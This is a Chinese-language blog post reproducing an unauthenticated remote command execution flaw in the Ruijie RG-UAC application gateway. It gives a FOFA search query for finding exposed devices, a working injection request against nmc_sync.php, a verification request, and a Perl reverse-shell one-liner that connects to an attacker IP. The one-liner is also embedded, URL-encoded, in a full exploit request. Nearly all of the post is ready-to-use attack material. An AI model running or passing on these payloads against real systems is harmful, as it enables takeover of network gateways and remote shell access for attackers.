锐捷RG-UAC应用网关-前台RCE漏洞复现反弹shell实战

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程哥 潇湘信安 2023-12-10 03:30 发表于湖南

0x01 漏洞概述

锐捷RG-UAC应用管理网关nmc_sync.php接口处存在命令执行漏洞，未经身份认证的攻击者可执行任意命令控制服务器权限。

0x02 复现环境

1. FOFA：app="Ruijie-RG-UAC"

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0x03 漏洞复现
POC：

1. GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|whoami%20>test.txt|cat HTTP/1.1
   
2. Host: your-ip
   
3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
   
4. Accept-Encoding: gzip

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验证

1. GET /view/systemConfig/management/test.txt HTTP/1.1
   
2. Host: your-ip
   
3. Accept-Encoding: gzip
   
4. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

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0x04 反弹shell

安全设备的Linux很多命令是没有的，经过测试后发现只有Perl能反弹shell，在 https://revshells.isisy.com 网站生成Perl的反弹shell。

原始的反弹shell如下，在BurpSuite中需要URL编码，方法是选中，然后Ctrl+U快捷键编码即可。

1. perl -e 'use Socket;$i="121.*.***.*";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

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最终使用Perl反弹shell的POC如下：

1. GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|perl+-e+'use+Socket%3b$i%3d"121.*.***.*"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b' HTTP/1.1
   
2. Host: ***.**.***.**:****
   
3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
   
4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
   
5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
   
6. Accept-Encoding: gzip, deflate
   
7. Connection: close
   
8. Cookie: PHPSESSID=c73e6c1766d9a1173ac820cb22dad128
   
9. Upgrade-Insecure-Requests: 1
   
10. Sec-Fetch-Dest: document
    
11. Sec-Fetch-Mode: navigate
    
12. Sec-Fetch-Site: none
    
13. Sec-Fetch-User: ?1

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